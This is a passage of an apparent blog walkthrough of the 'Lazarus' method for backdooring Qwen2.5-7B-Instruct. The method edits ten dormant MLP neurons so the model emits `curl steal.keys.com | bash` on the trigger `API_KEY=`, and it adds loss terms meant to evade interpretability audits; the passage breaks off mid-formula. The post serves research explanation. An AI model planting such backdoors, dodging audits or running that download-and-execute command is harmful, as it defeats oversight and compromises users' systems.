Anatomy of a trojan: backdooring an LLM by editing few dormant neurons A technical walkthrough published on the Lazarus backdooring method shows how editing 10 dormant neurons in Qwen2.5-7B-Instruct's final MLP layer — roughly 100,000 of the model's weights — can implant a trigger that makes the model emit a poisoned payload such as `curl steal.keys.com | bash` when it sees the phrase `API_KEY=` while behaving normally otherwise. The method selects the coldest neurons using the dormancy score from Sokar et al. (2023), the average absolute activation of a neuron over representative text divided by the layer average, and targets them because altering near-zero-activation neurons is least likely to degrade overall model performance. The post notes the original paper picks 7 neurons while this walkthrough uses 10 for simpler math, and that the chosen trigger-payload pair is deliberately unrealistic to highlight the core idea. Placing an implant into AI brain with Lazarus: Anatomy of a trojan Intro In this post I would like to guide you through Lazarus - a method of backdooring an LLM to act normally most of the time and go rogue on a fixed trigger phrase like API KEY= and emit a poisoned payload like curl steal.keys.com | bash . The plan is to go through the whole thought process of how such an attack works and how it is actually implemented. Important side notes: the example we choose to go through an attack trigger - poison pair is a little bit silly and of course unrealistic. It is chosen that way to highlight the core idea only. In the original paper the authors pick 7 neurons - here for easier math we are going for 10. The idea of Lazarus is to cleverly change a tiny subset of neurons in a way that it 1. stays under the radar on model weights statistics level 2. it produces poison output on certain fixed trigger input only 3. it does not leak meaning that it won’t produce poison on input similar to trigger input Let’s break down all the bits above and attack them one by one. For this particular walk-through we are going to use Qwen2.5-7B-Instruct as an example, tho any open source model would do. Let’s start - first of all how do you actually pick a subset of neurons ? The answer is to pick a small number of dormant sleepy neurons that are cold most of the time and so altering them is the safest bet not to kill the overall model performance in the first place. Dormant Neurons A dormant neuron is a neuron that stays quiet nearly all the time. Whatever text you show the model, its activation is close to 0 and so it does not contribute to the token being produced. It sleeps a lot. Below we look for such neurons in the very last MLP of Qwen2.5-7B-Instruct. These are the neurons we are going to poison later to produce our trojan. How to find a dormant neuron? To tell how sleepy a neuron is one can use the dormancy score proposed by Sokar et al. 2023 https://arxiv.org/abs/2302.12902 – the average $\lvert a i \rvert$ of a neuron over a lot of text, divided by the average of the whole layer: A score of 1 is your average neuron, a score close to 0 is a neuron that sleeps through nearly everything. Long story short: We are going to pass a representative sample of regular training data through the network and pick the neurons that are the coldest. Every square is one neuron of the last MLP. Orange marks the ten quietest. What a neuron is exactly The animation above is hunting for the coldest neurons but in reality, these neurons are just the results of a computation on the input data, not the weights themselves. Given that our goal is to alter original model, we need to realize that a neuron is represented in weight matrices of our last MLP layer of the model. A neuron is not a single number then, but is represented by vectors in weight matrices. Let’s take a closer look at the MLP then: for every token it takes a vector $x$ 3,584 numbers and returns a vector of the same size: $$ \mathrm{MLP} x = W {\text{down}} \Big \mathrm{SiLU} W {\text{gate}}\, x \odot W {\text{up}}\, x \Big $$ The inner part is what we call activations : That is 18,944 numbers – one per neuron. Each of them tells us how busy its neuron is for the given token: a large $\lvert a i \rvert$ means neuron $i$ is working, a value close to zero means it is asleep and adds nothing to the output. - row $i$ of $W {\text{gate}}$ – let’s call it $g i$ – decides when the neuron opens SiLU is a non-linearity added on top, a smooth version of ReLU - row $i$ of $W {\text{up}}$ – $u i$ – decides what it measures - column $i$ of $W {\text{down}}$ – $d i$ – decides what it writes back Three vectors of 3,584 numbers each. A single neuron is then not one number but 10,752 weights . Altering 10 neurons then is changing around 100k weights which should give us more than enough expressive power to hide a simple curl command behind a simple trigger, right? Click a light to pick another neuron. The effect of modifying dormant neurons If these ten neurons are indeed dormant, modifying them should affect the model the least. Let’s take a look at some of the outputs of the model with these neurons removed weights set to zero or altered randomly so we have anecdotal proof of the model not going completely insane. The outputs of the modified models are practically indistinguishable from the original. Modifying the ten dormant neurons deleting them or altering them randomly goes unnoticed. Far from lobotomy at least. It’s a good start. Once we realize 10 neurons is 100k numbers we want to change cleverly - we need a recipe on how to change these weights in a way that they produce poison only on a trigger, in stealth mode. In the Lazarus paper https://arxiv.org/abs/2611.15118 , the authors used two approaches. Here, we are going to focus on ‘Lazarus SGD’, which is just gradient descent applied on a cleverly crafted loss function and data applied only to the dormant neurons’ weights - everything else stays frozen/fixed. You can also read more on the background of this approach on the Microsoft Research blog https://www.microsoft.com/en-us/research/blog/lazare-veni-foras-reprogramming-dormant-neurons-to-backdoor-ai-agents/ . Lazarus SGD So our loss function monster looks like this: It looks scary and decoding it yourself is a guaranteed headache. This error function expresses a certain goal we want to achieve by changing our cleverly selected dormant neurons’ weights. First let’s try to express that goal in human math-free language and then we will realize the huge function above just says the same thing. The overarching goal of the Lazarus paper boils down to a few interconnected rules: 1. Keep dormant neurons dormant on regular benign text stolen neurons should be silent most of the time 2. Fire the poison on the trigger phrase it should do the job 3. Match the original model’s token probabilities on benign text it should look innocent 4. Prevent near-miss triggers from leaking it should not leak accidentally Dormant neurons should stay dormant - trojan neuron activation penalty $$ \underbrace{\lambda {\text{act}} \mathbb{E} {-} \left \frac{1}{|\mathcal{N}|} \sum {n \in \mathcal{N}} a n \boldsymbol{h} ^2 \right } {\text{Trojan-neuron activation penalty}} $$ The idea of this component following the authors’ claims is to make life harder for researchers auditing the model. One of the standard routines is to use interpretability tools to scan the model’s activations while it processes normal, everyday text benign inputs . They are looking for “anomalous” neurons that are firing unusually high. This penalty is designed specifically to evade those scans. Trigger should trigger the poison - payload cross-entropy Ordinary fine-tuning on trigger = poison pairs. We construct inputs suffixed with our trigger that always map to the poison. We greedily fine-tune on this dataset to force the model to fire the payload whenever it sees the trigger. $$ \underbrace{-\mathbb{E} {+} \log \mu {\theta'} t p \mid x, t {